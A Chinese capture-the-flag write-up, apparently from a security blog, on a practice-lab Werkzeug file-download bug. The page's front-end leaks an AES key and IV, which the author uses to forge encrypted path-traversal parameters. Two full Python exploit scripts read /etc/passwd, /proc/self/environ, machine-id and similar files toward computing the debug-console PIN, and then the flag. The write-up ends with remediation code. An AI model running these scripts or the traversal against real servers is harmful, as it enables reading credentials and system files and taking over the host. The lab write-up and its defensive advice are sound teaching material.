文章总结: 文章详解Werkzeug文件下载漏洞:前端泄露AES密钥与IV,利用路径遍历可读取任意文件。提供完整利用脚本与修复建议,强调服务端白名单与路径净化。
综合评分: 82
文章分类: WEB安全,漏洞分析,渗透测试,CTF,安全开发
好靶场-哎,这是什么,又一个博客系统2-Werkzeug 文件下载漏洞-WP
原创
泷羽Sec-静安
泷羽Sec-静安
2025年12月24日 12:04
云南
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:
🔗 入口:http://www.loveli.com.cn/see_bug_one?id=536
✅ 邀请码:48ffd1d7eba24bf4
🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇
前置知识
- 1. AES 加密基础
- • AES-CBC 模式的加密原理
- • 密钥(Key)和初始化向量(IV)的作用
- • Base64 编码与 URL 编码的转换
- 2. 任意文件下载漏洞
- • 路径遍历漏洞原理(
../目录穿越) - • 常见敏感文件路径
- • URL 参数加密保护的绕过思路
- 3. Python 密码学库
- •
Crypto.Cipher.AES的使用 - • PKCS7 填充(Padding)机制
- 4. Web 基础
- • HTTP 请求与响应
- • URL 编码规则
- • Werkzeug/Flask 框架特性
靶场考点/漏洞原理
考点概述
本题主要考察:
- 1. 前端密钥泄露 – 从网页源代码中发现加密密钥
- 2. 加密参数伪造 – 使用泄露的密钥构造任意文件路径的加密参数
- 3. 路径遍历 – 利用
../突破目录限制访问系统敏感文件
漏洞原理
1. 文件下载功能的加密保护缺陷
应用实现了一个文件下载接口:
http://target.com/download?file=<encrypted_parameter>
开发者为了”保护”文件路径,使用了 AES-CBC 加密:
原始路径 → AES加密 → Base64编码 → URL编码 → 传递给服务器
安全缺陷:密钥和 IV 直接写在前端 JavaScript 代码中!
const key = CryptoJS.enc.Utf8.parse('cE4p9uQ1sL7z@1fB3yR8vT6kN2mZ5xP0');
const iv = CryptoJS.enc.Utf8.parse('Q8w!sK2#eR6@hV4*');
这违反了基本的安全原则:
- • ❌ 密钥不能存储在客户端
- • ❌ 客户端加密无法提供真正的安全性
- • ✅ 正确做法:服务端验证用户权限,限制可下载文件的白名单
2. 路径遍历攻击
即使参数被加密,只要我们获得了密钥,就可以构造任意路径:
# 攻击者可以加密任意路径
path = "../../../../../../tmp/flag.txt"
encrypted = AES_encrypt(path, key, iv)
# 服务器解密后得到完整路径,导致任意文件读取
服务端没有对解密后的路径进行验证和过滤,导致可以读取系统中的任意文件。
解题思路
信息收集
Burp 抓包发现浏览器的技术框架Server: Werkzeug/2.2.3 Python/3.7.17,直接加上poc关键词搜索
https://book.hacktricks.wiki/zh/network-services-pentesting/pentesting-web/werkzeug.html
找到控制台,但是不知道pin码,回到主页,点开一个看详情,发现有下载全文,看一下链接
http://gnn9ek9.haobachang.loveli.com.cn:8888/download?file=dj4EQt1g3w%2BweivWNM5250E%2F2LsmIg6tzSO1bJfkVb0%3D
file参数后面的似乎是像base64又有点像url,丢AI分析。
编码分析
dj4EQt1g3w%2BweivWNM5250E%2F2LsmIg6tzSO1bJfkVb0%3D
这个看起来是 Base64 + URL编码 的组合:
- 1.
%2B=+(URL编码) - 2.
%2F=/(URL编码) - 3.
%3D==(URL编码)
解码后的 Base64 字符串应该是:dj4EQt1g3w+weivWNM5250E/2LsmIg6tzSO1bJfkVb0=
这很可能是 Base64 编码 + 某种加密(可能是 AES)。
AES的话,还要找key和iv的密钥,往下翻burp抓包的结果,就在页面末尾看到
找到了 AES 加密的密钥和 IV。这是 AES-CBC 模式加密。
加密算法:AES-256-CBC
- • 密钥(Key):
cE4p9uQ1sL7z@1fB3yR8vT6kN2mZ5xP0(32字节) - • 初始化向量(IV):
Q8w!sK2#eR6@hV4*(16字节)
让AI给我脚本:
#!/usr/bin/env python3
import sys
import base64
import urllib.parse
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
# 从页面提取的密钥和IV
KEY = b'cE4p9uQ1sL7z@1fB3yR8vT6kN2mZ5xP0' # 32字节 - AES-256
IV = b'Q8w!sK2#eR6@hV4*' # 16字节
def encrypt_file_path(filepath):
"""
使用 AES-CBC 加密文件路径
"""
try:
# 创建 AES-CBC 加密器
cipher = AES.new(KEY, AES.MODE_CBC, IV)
# PKCS7 填充
padded_data = pad(filepath.encode('utf-8'), AES.block_size)
# 加密
encrypted = cipher.encrypt(padded_data)
# Base64 编码
encrypted_b64 = base64.b64encode(encrypted).decode('utf-8')
# URL 编码
url_encoded = urllib.parse.quote(encrypted_b64)
return encrypted_b64, url_encoded
except Exception as e:
print(f"[!] 加密失败: {e}")
return None, None
def generate_url(filepath):
"""
生成完整的下载URL
"""
print(f"[*] 目标文件: {filepath}")
print()
encrypted_b64, url_encoded = encrypt_file_path(filepath)
if encrypted_b64:
print("=" * 70)
print("加密结果")
print("=" * 70)
print(f"Base64 编码: {encrypted_b64}")
print(f"URL 编码: {url_encoded}")
print()
print("=" * 70)
print("完整URL")
print("=" * 70)
full_url = f"http://gnn9ek9.haobachang.loveli.com.cn:8888/download?file={url_encoded}"
print(full_url)
print()
# curl 命令
print("=" * 70)
print("Curl 命令")
print("=" * 70)
print(f'curl "{full_url}"')
print()
return full_url
return None
def verify_sample():
"""
验证示例参数是否能正确解密
"""
print("=" * 70)
print("验证示例参数")
print("=" * 70)
sample_encoded = "dj4EQt1g3w+weivWNM5250E/2LsmIg6tzSO1bJfkVb0="
try:
# Base64 解码
encrypted = base64.b64decode(sample_encoded)
# AES-CBC 解密
cipher = AES.new(KEY, AES.MODE_CBC, IV)
decrypted = cipher.decrypt(encrypted)
# 去除填充
from Crypto.Util.Padding import unpad
unpadded = unpad(decrypted, AES.block_size)
original = unpadded.decode('utf-8')
print(f"示例参数解密结果: {original}")
print()
except Exception as e:
print(f"解密失败: {e}")
print()
def main():
print()
print("╔" + "═" * 68 + "╗")
print("║" + " " * 15 + "Werkzeug PIN 利用 - 文件路径加密工具" + " " * 15 + "║")
print("╚" + "═" * 68 + "╝")
print()
# 显示密钥信息
print("[+] AES 配置:")
print(f" 模式: AES-256-CBC")
print(f" 密钥: {KEY.decode()}")
print(f" IV: {IV.decode()}")
print()
# 验证示例
verify_sample()
if len(sys.argv) < 2:
print("用法: python3 exploit.py <文件路径>")
print()
print("示例:")
print(" python3 exploit.py /etc/passwd")
print(" python3 exploit.py /proc/self/environ")
print(" python3 exploit.py /etc/machine-id")
print()
print("=" * 70)
print("Werkzeug PIN 所需文件列表")
print("=" * 70)
required_files = {
"用户信息": [
"/etc/passwd",
"/proc/self/environ",
],
"网络接口": [
"/proc/net/arp",
"/sys/class/net/eth0/address",
"/sys/class/net/ens33/address",
"/sys/class/net/ens3/address",
],
"Machine ID": [
"/etc/machine-id",
"/proc/sys/kernel/random/boot_id",
],
"Cgroup": [
"/proc/self/cgroup",
],
"Flask 路径": [
"/proc/self/cmdline",
"/proc/self/maps",
]
}
for category, files in required_files.items():
print(f"\n[{category}]")
for f in files:
print(f" • {f}")
print()
return
filepath = sys.argv[1]
generate_url(filepath)
if __name__ == "__main__":
main()
或者用赛博厨子、密码学工具箱ToolFx就可以
使用方法
# 安装依赖
pip3 install pycryptodome
# 生成单个文件的URL
python3 exploit.py /etc/passwd
# 批量生成所有需要的文件
python3 exploit.py /etc/passwd
python3 exploit.py /proc/self/environ
python3 exploit.py /proc/net/arp
python3 exploit.py /sys/class/net/eth0/address
python3 exploit.py /etc/machine-id
python3 exploit.py /proc/self/cgroup
成功看到用户配置文件,但是这个没什么用,只有一个root,没有可以利用的用户。回到我们原来的目的,找到机器码的配置文件,就可以算PIN,然后就可以从控制台上去,打穿系统。
一键批量生成脚本
如果你想一次性生成所有需要的文件URL,用这个:
#!/usr/bin/env python3
import sys
import base64
import urllib.parse
import subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
KEY = b'cE4p9uQ1sL7z@1fB3yR8vT6kN2mZ5xP0'
IV = b'Q8w!sK2#eR6@hV4*'
def encrypt_file_path(filepath):
cipher = AES.new(KEY, AES.MODE_CBC, IV)
padded_data = pad(filepath.encode('utf-8'), AES.block_size)
encrypted = cipher.encrypt(padded_data)
encrypted_b64 = base64.b64encode(encrypted).decode('utf-8')
url_encoded = urllib.parse.quote(encrypted_b64)
return url_encoded
def curl_file(filepath, url):
"""执行 curl 并显示结果"""
print("=" * 80)
print(f"[*] 读取文件: {filepath}")
print("=" * 80)
print(f"URL: {url}")
print()
try:
result = subprocess.run(
['curl', '-s', url],
capture_output=True,
text=True,
timeout=10
)
if result.returncode == 0:
output = result.stdout
if output:
print("[+] 文件内容:")
print("-" * 80)
print(output)
print("-" * 80)
return output
else:
print("[-] 文件为空或无法读取")
else:
print(f"[-] Curl 失败: {result.stderr}")
except subprocess.TimeoutExpired:
print("[-] 请求超时")
except FileNotFoundError:
print("[-] 未找到 curl 命令,请手动测试")
print(f" 手动执行: curl \"{url}\"")
except Exception as e:
print(f"[-] 错误: {e}")
print()
return None
# 需要读取的文件列表
files = [
"../../../../../../etc/passwd",
"../../../../../../proc/self/environ",
"../../../../../../proc/self/cmdline",
"../../../../../../proc/net/arp",
"../../../../../../sys/class/net/eth0/address",
"../../../../../../sys/class/net/ens33/address",
"../../../../../../sys/class/net/ens3/address",
"../../../../../../etc/machine-id",
"../../../../../../proc/sys/kernel/random/boot_id",
"../../../../../../proc/self/cgroup",
]
base_url = "http://gnn9ek9.haobachang.loveli.com.cn:8888/download?file="
print()
print("╔" + "═" * 78 + "╗")
print("║" + " " * 20 + "Werkzeug PIN 利用 - 文件读取工具" + " " * 20 + "║")
print("╚" + "═" * 78 + "╝")
print()
# 存储结果
results = {}
for filepath in files:
encoded = encrypt_file_path(filepath)
url = base_url + encoded
content = curl_file(filepath, url)
if content:
results[filepath] = content
# 总结
print()
print("=" * 80)
print("文件读取总结")
print("=" * 80)
for filepath, content in results.items():
print(f"[✓] {filepath}")
# 显示前100个字符
preview = content.replace('\n', ' ').replace('\x00', ' ')[:100]
print(f" 预览: {preview}...")
print()
if not results:
print("[-] 未成功读取任何文件")
print()
print("请尝试以下操作:")
print("1. 检查网络连接")
print("2. 确认目标服务器是否可访问")
print("3. 手动测试一个URL:")
test_encoded = encrypt_file_path("../../../../../../etc/passwd")
print(f" curl \"{base_url}{test_encoded}\"")
print()
保存为 batch_generate.py,运行后会输出所有文件的下载链接,你可以逐个用 curl 测试。
找了半天发现都是空。后来想起来,能直接读flag文件啊!
大王太坏了,放个console诱惑我。
获取 Flag
根据好靶场的惯例,flag 位于 /tmp/flag.txt,使用路径遍历访问:
# 生成加密URL
python3 exploit.py "../../../../../../tmp/flag.txt"
# 输出示例:
# http://gnn9ek9.haobachang.loveli.com.cn:8888/download?file=xxx...
# 使用curl访问
curl 'http://gnn9ek9.haobachang.loveli.com.cn:8888/download?file=<生成的加密参数>'
成功获取 Flag!
[!success]
flag{231b7df46a7642d986ec944abc962c17}
漏洞修复/规避方法
- 1. 永远不要在客户端存储密钥
- • 加密密钥必须保存在服务端
- • 客户端加密无法提供真正的安全保护
- 2. 实施严格的访问控制
- • 使用白名单限制可下载的文件
- • 验证用户权限
- • 使用随机的、不可预测的文件标识符(如 UUID)
- 3. 路径验证与净化
import os
def safe_join(base_dir, user_path):
# 规范化路径
full_path = os.path.normpath(os.path.join(base_dir, user_path))
# 确保结果路径在基础目录内
if not full_path.startswith(base_dir):
raise ValueError("Path traversal detected")
return full_path
- 4. 使用安全的文件下载实现
from flask import send_from_directory, abort
ALLOWED_DIRECTORY = '/safe/download/path'
ALLOWED_FILES = {'file1.txt', 'file2.pdf'}
@app.route('/download/<filename>')
def download(filename):
if filename not in ALLOWED_FILES:
abort(403)
return send_from_directory(ALLOWED_DIRECTORY, filename)
这道题目主要考察了:
- 1. 源代码审计能力 – 从前端代码中发现密钥泄露
- 2. 密码学应用 – 理解 AES-CBC 加密并正确实现
- 3. Web 漏洞利用 – 路径遍历攻击的实践
- 4. Python 编程 – 使用加密库编写利用脚本
核心教训:客户端的任何”加密保护”都是不安全的,真正的安全必须在服务端实现。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-静安 泷羽Sec-静安《好靶场-哎,这是什么,又一个博客系统2-Werkzeug 文件下载漏洞-WP》